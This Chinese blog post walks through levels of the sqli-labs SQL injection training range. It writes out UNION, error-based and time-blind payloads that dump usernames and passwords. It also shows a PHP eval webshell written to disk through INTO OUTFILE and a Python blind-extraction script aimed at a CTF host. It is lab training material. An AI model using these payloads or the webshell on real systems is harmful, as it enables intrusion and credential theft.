sqli 1- 10

news2024/12/29 0:31:16

sql靶场

第一关

首先我们需要判断是否存在sql注入点,前端界面提示我使用ID作为参数,在url地址栏输入?id=1

通过输入不同的id值查询数据库相对应的内容,之后判断为数字型还是字符型

根据查询内容判断为字符型且有注入点,再通过联合查询,可以一起查询相同列数,且字段名一样的表

要使用sql语句我们需要逃出单引号的控制,闭合单引号。我们还需要知道联合查询的列数,需要求出当前表的列数,需要使用order by检测他的列数 order by 3 --+,再使用order by 4 --+判断列数

3时正常回显,为4时没有正常回显,知道为3列。使用联合查询

?id=-1'union select 1,2,3--+

根据语法可知union的使用,可以查询相应

?id=-1'union select 1,database(),version()--+

进行爆表,已知mysql中information_schema表中有mysql数据。
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆出相对应的字段
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

第二关

?id=1  正常回显
?id=1"  报错 ' " LIMIT 0,1 '
?id=1--+  正常

由此判断是数字型注入

根据查看源码知道第二关和第一关就是类型上面的区别

?id=-1 union select 1,2,group_concat(username ,id , password) from users--+

第三关

?id=1  正常
?id=1"  正常
?id=2"  正常
?id=1"--+  正常
?id=;/';[]'    报错 ' ;/';[]'') LIMIT 0,1 '
           
判断是字符型注入,闭合方式是')

?id=1') order by 3--+   正常

判断回显位有三个。

 

同上第一第二关
?id=1') and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

?id=-1') and 1=2 union select 1,2,group_concat(username ,id , password) from users--+

第四关

通过源码已知和第3关一样只是闭合方式不同

?id=1  正常
?id=2-1  回显和id=2一样,不是数字型
?id=1'  正常
?id=1"   报错'"1"") LIMIT 0,1' 
           
判断是字符型注入,闭合方式是")

?id=-1") and 1=2 union select 1,2,group_concat(username ,id , password) from users--+

 第五关

继续判断闭合方式和类型

?id=1  回显You are in...........
?id=2-1  回显You are in...........
?id=1'  回显'  '1'' LIMIT 0,1  '
           
判断是字符型,'闭合。

查看源码已知本关使用的是报错注入

爆表名
?id=1' and updatexml(1,concat(0x7e,(select database(),0x7e),1)--+

爆数据库表名
?id=1' and updatexml(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema="security") ,0x7e),3)--+

爆字段名:
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) --+

                        

 

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) --+

爆数据
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,password)from users),0x7e),1) --+

第六关

和第五关一样就是闭合方式不同,换成了=="

第七关

?id=1                  You are in.... Use outfile......提示用文件
?id=1'''''             回显You have an error in your SQL syntax,不告诉我们哪里错了,看不见闭合
?id=1'--+              回显You have an error in your SQL syntax
?id=1'))--+            You are in.... Use outfile......  

说明是字符型注入闭合是   '))

测一下显位

?id=1')) order by 3--+   回显正常  You are in.... Use outfile......

判断回显位有三个。

已知第七关是一个文件上传漏洞,通过上传php脚本创建后门,再使用antswork连接

上传test.php后门文件

?id=-1')) union select 1,2,'' into outfile "C:\ruanjian\phpstudy_pro\WWW\sqli-labs-master\Less-7\test.php" --+
http://127.0.0.1/sqli-labs-master/Less-7/?id=1%27))%20union%20select%201,2,%3C?php%20@eval($_POST[cmd]);%20?%3E%20into%20outfile%20%22F:\phpstudy_pro\WWW\sqli-labs-master\Less-7\test.php%22--+

访问界面证明php脚本生效

直接antswork连接

第八关

继续查看闭合方式

?id=1                  You are in.... 
?id=1'''''             无回显,看不见报错
?id=1'--+              无回显,看不见报错
...
...
...
?id=1"--+              You are in....,双引号闭合

说明是字符型注入闭合是  "

?id=1" order by 1--+   回显正常  You are in....
?id=1" order by 2--+   回显正常  You are in....
?id=1" order by 3--+   回显正常  You are in....

判断不了回显位,后来盲注脚本用的时候也不需要。

 

可能使用的时间盲注
id=1' and sleep(5) --+
猜表名是security
?id=1' and if(left(database(),1)='s',sleep(5),null)--+

?id=1' and if(left(database(),2)='se',sleep(5),null)--+

 5秒后返回该界面

第九关

?id=1                  You are in.... 
?id=1'''''             You are in.... 
?id=1""""))))          You are in.... 
?id=1'--+              You are in....
...
...
...
啥都是You are in....(也算是得用时间盲注的一个标志)

判断不了闭合和位数

?id=1' and sleep(3) --+          有明显延迟
?id=1" and sleep(3) --+          无延迟
?id=1') and sleep(3) --+         无延迟

说明这里的闭合是单引号。   位数暂时不判断了,用脚本的话不需要位数

直接上时间盲注的脚本 

import requests
import time
 
s = requests.session()          #创建session对象后,才可以调用对应的方法发送请求。
url = 'http://fff9f4b8-f0ad-4c2a-b499-2ee73acc6720.challenge.ctf.show/?id='
flag = ''
i = 0
while True:
    i = i + 1
    low = 32
    high = 127
    while low < high:
        mid = (low + high) // 2
        # 查询数据库:payload = f'1\'%0cand%0cif((ascii(substr(database(),{i},1))>{mid}),1,sleep(3))--+'
        # 查询数据库:payload = f'1\'%0cand%0cif((ascii(substr((select group_concat(schema_name)from information_schema.schemata),{i},1))>{mid}),1,sleep(3))--+'

        # 查询数据表:payload = f'1\'%0cand%0cif(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=\'ctfshow\')),{i},1))>{mid},1,sleep(3))--+'
        # 查询表字段:payload = f'1\'%0cand%0cif(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="flagug")),{i},1))>{mid},1,sleep(3))--+'
        # 查询字段中信息:payload = f'1\'%0cand%0cif(ascii(substr((select(flag4a23)from(ctfshow.flagug)),{i},1))>{mid},1,sleep(3))--+'
        payload = f'1\'%0cand%0cif(ascii(substr((select(flag4a23)from(ctfshow.flagug)),{i},1))>{mid},1,sleep(3))--+'

        stime = time.time()
        url1 = url + payload
        r = s.get(url=url1)
        r.encoding = "utf-8"
        # print(payload)
        if time.time() - stime < 2:
            low = mid + 1
        else:
            high = mid
    if low != 32:
        flag += chr(low)
    else:
        break
    print(flag)

第十关

和第九关一样只是闭合方式不同,该关使用的 " 闭合

第十一关

类型转换,为post请求了使用bp抓包查看

使用admin' 报错
使用admin'# 不报错
知道为'闭合

' union select 1,2 #   判断回显
' union select 1,database() # 爆出数据库

 

爆出表名
' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 

爆出列名

' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' #

爆数据
' union select 1,group_concat(username,password) from users #

 

第十二关

同上第十一关闭合方式不同,该关为") 闭合方式

第十三关

admin'

报错near '111') LIMIT 0,1' at line 1

说明是')闭合

输入') # 或') or 1=1 #

却发现,页面没有回显,考虑使用报错注入、布尔盲注或者时间盲注

 

1') order by 3#报错

1') order by 2#无回显

所以字段数为2
爆库名
1') union select 1,updatexml(1,concat(0x7e,database(),0x7e),1) #

 

 

爆表名
1') union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),0x7e),1)#

 

爆列名
1') union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users'),0x7e),1)#

 

爆数据名
1') union select 1,updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)#

第十四关 

同上13关,闭合方式为 "

第十五关

1' or 1=1--            登录成功图片
1" or 1=1--            登录失败图片
1') or 1=1--           登录失败图片
1") or 1=1--           登录失败图片

所以闭合是单引号 '
1' order by 1--             登录失败图片
1' order by 2--             登录失败图片
1' order by 3--             登录失败图片
1' order by 4--             登录失败图片

测不了一点。但是应该是2,而且盲注不需要。

 爆库长 admin' and if(length(database())=8,sleep(5),null) # 

从左边第一个字母开始,判断库名第一个字母是不是s

admin' and if(left(database(),1)='s',sleep(5),null) #

admin' and if(left(database(),2)='se',sleep(5),null) #
爆表名
admin' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e' ,sleep(5),null)#

admin' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)='em' ,sleep(5),null)#

admin' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),3)='ema' ,sleep(5),null)#

 第十六关

同上15关,闭合方式为 "

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1983463.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Vitis AI 基本操作+模型检查(inspector)用法详解

目录 1. 简介 2. 代码详解 2.1 导入所需的库 2.2 创建 Inspector 2.3 下载模型 2.4 检查模型 3. 其他有用函数 3.1 查看 torchvision 中模型 3.2 保存模型 3.2.1 保存模型参数 3.2.2 保存完整模型 3.2.3 加载模型 4. 总结 1. 简介 在《Vitis AI 构建开发环境&…

GNSS相关知识

各定位系统的频段&#xff1a; SystemSignalFrequency(MHz)GPSL1C/A1575.42L1C1575.42L2C1227.6L2P1227.6L51176.45   GLONASSL1C/A1598.0625-1609.3125L2C1242.9375-1251.6875L2P1242.9375-1251.6875L3OC1202.025   GalileoE11575.42E5a1176.45E5b1207.14E5AltBOC1191.…

SpringBoot之外部化配置

前言 SpringBoot 版本 2.6.13&#xff0c;相关链接 Core Features Default properties (specified by setting SpringApplication.setDefaultProperties).PropertySource annotations on your Configuration classes. Please note that such property sources are not added …

如何在群晖NAS中搭建影音管理利器nastool并实现远程访问本地资源

文章目录 前言1. 本地搭建Nastool2. nastool基础设置3. 群晖NAS安装内网穿透工具4. 配置公网地址5. 配置固定公网地址 前言 Nastool是为群晖NAS玩家量身打造的一款智能化影音管理利器。它不仅能够满足电影发烧友、音乐爱好者和追剧达人的需求&#xff0c;更能让你在繁忙的生活…

疯狂的马达——Arduino

本次学习目标 1、了解马达的运用、以及马达内部的基本原理。 2、学会通过编程控制马达的速度、方向。 3、制作电位器换挡风扇。 马达 “马达”为英语motor的音译&#xff0c;我们称为电机&#xff0c;电机又可分为 发电机和电动机。前者是一种能够将动能转化电能的装置&am…

【知识】pytorch中的pinned memory和pageable memory

转载请注明出处&#xff1a;小锋学长生活大爆炸[xfxuezhagn.cn] 如果本文帮助到了你&#xff0c;欢迎[点赞、收藏、关注]哦~ 目录 概念简介 pytorch用法 速度测试 反直觉情况 概念简介 默认情况下&#xff0c;主机 &#xff08;CPU&#xff09; 数据分配是可分页的。GPU 无…

计算机系统的基本结构-CSP初赛知识点整理

真题练习 [2021-CSP-J-第3题] 目前主流的计算机储存数据最终都是转换成&#xff08; &#xff09;数据进行储存。 A.二进制 B.十进制 C.八进制 D.十六进制 [2020-CSP-J-第1题] 在内存储器中每个存储单元都被赋予一个唯一的序号&#xff0c;称为( ) A&#xff0e;地址 B&a…

探索 Electron 应用的本地存储:SQLite3 与 Knex.js 的协同工作

electron 简介 Electron 是一个使用 JavaScript, HTML 和 CSS 构建跨平台桌面应用程序的框架。 它允许开发者使用 Web 技术来创建桌面软件&#xff0c;而不需要学习特定于平台的编程语言。 Electron 应用程序实际上是一个包含 Web 内容的 Chromium 浏览器实例&#xff0c;并…

创建型模式(Creational Patterns)之工厂模式(Factory Pattern)之简单工厂模式(Simple Factory Pattern)

1.简单工厂模式&#xff08;Simple Factory Pattern&#xff09;&#xff0c;又叫做静态工厂方法&#xff08;Static FactoryMethod Pattern&#xff09;。 1.1 基本介绍 被创建的对象称为“产品”&#xff0c;创建产品的对象称为“工厂”。如果要创建的产品不多&#xff0c;只…

WPF-实现多语言的静态(需重启)与动态切换(不用重启)

一、多语言切换&#xff08;需重启&#xff09; 1、配置文件添加Key <appSettings><add key"language" value"zh-CN"/></appSettings> 2、新增附加属性当前选择语言 public CultureInfo SelectLanguage{get > (CultureInfo)GetValu…

使用Go语言绘制柱状图教程

使用Go语言绘制柱状图教程 本文将介绍如何使用Go语言及gg包绘制柱状图&#xff0c;并将图表保存为PNG格式的图片。gg包是一个功能强大的2D图形库&#xff0c;适合用于绘制各种图表。 安装gg包 首先&#xff0c;确保你已经安装了gg包。如果还没有安装&#xff0c;可以使用以下…

Java二十三种设计模式-组合模式(11/23)

组合模式&#xff1a;构建层次化结构的灵活方案 引言 组合模式&#xff08;Composite Pattern&#xff09;是一种结构型设计模式&#xff0c;用于将对象组合成树形结构以表示“部分-整体”的层次结构。这种模式使得用户对单个对象和组合对象的使用具有一致性。 基础知识&…

Linux 命令,mkdir说明与使用

1&#xff1a;mkdir命令功用&#xff1a; 用于创建一个或多个目录&#xff0c;创建目录&#xff0c;必须在父目录中写上权限。 新目录的默认模式为0777&#xff0c;可以由系统或用的umask来修改。 2&#xff1a;命令构件: mkdir [options] directories 3:参数选项: -m&#x…

海洋知识竞赛规则流程方案

为贯彻落实“进一步关心海洋、认识海洋、经略海洋”的重要指示精神&#xff0c;引导社会公众学习海洋知识、增强海洋意识、保护海洋环境&#xff0c;推动建设海洋强国&#xff0c;推进人与自然和谐共生的现代化&#xff0c;围绕“保护海洋 人与自然和谐共生”的主题&#xff0c…

机械学习—零基础学习日志(高数22——泰勒公式理解深化)

核心思想&#xff1a;函数逼近 在泰勒的年代&#xff0c;如果想算出e的0.001次方&#xff0c;这是很难计算的。那为了能计算这样的数字&#xff0c;可以尝试逼近的思想。 但是函数又不能所有地方都相等&#xff0c;那退而求其次&#xff0c;只要在一个极小的范围&#xff0c;…

EMQX服务器安装MQTT测试

cd /usr/local/develop wget https://www.emqx.com/en/downloads/broker/5.7.1/emqx-5.7.1-el7-amd64.tar.gz mkdir -p emqx && tar -zxvf emqx-5.7.1-el7-amd64.tar.gz -C emqx ./emqx/bin/emqx start 重启 ./emqx/bin/emqx restart http://10.8.0.1:18083/ 账号ad…

sql第一次

第五关 然后修改userLess-5 Double Query- Single Quotes- Stringhttp://localhost/sql/Less-5/?id1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(username,0x3a,password)from%20users),0x7e),1)--substr截取 在前面截取 注意不要少写括号&#xff0c;不然会…

FFmpeg推流

目录 一. 环境准备 二. 安装FFmpeg 三. 给docker主机安装docker服务 四. 使用 FFmpeg 进行推流测试 FFmpeg是一个非常强大的多媒体处理工具&#xff0c;它可以用于视频和音频的录制、转换以及流处理。在流处理方面&#xff0c;FFmpeg可以用来推流&#xff0c;即将本地媒体…

Spring快速学习

目录 IOC控制反转 引言 IOC案例 Bean的作用范围 Bean的实例化 bean生命周期 DI 依赖注入 setter注入 构造器注入 自动装配 自动装配的方式 注意事项; 集合注入 核心容器 容器的创建方式 Bean的三种获取方式 Bean和依赖注入相关总结 IOC/DI注解开发 注解开发…

探索四川财谷通抖音小店:安全与信赖的购物新体验

在数字经济蓬勃发展的今天&#xff0c;抖音平台凭借其庞大的用户基础和强大的内容生态&#xff0c;逐渐成为了电商领域的一股不可忽视的力量。其中&#xff0c;四川财谷通抖音小店作为这一浪潮中的佼佼者&#xff0c;不仅以其丰富的商品种类和独特的品牌魅力吸引了众多消费者的…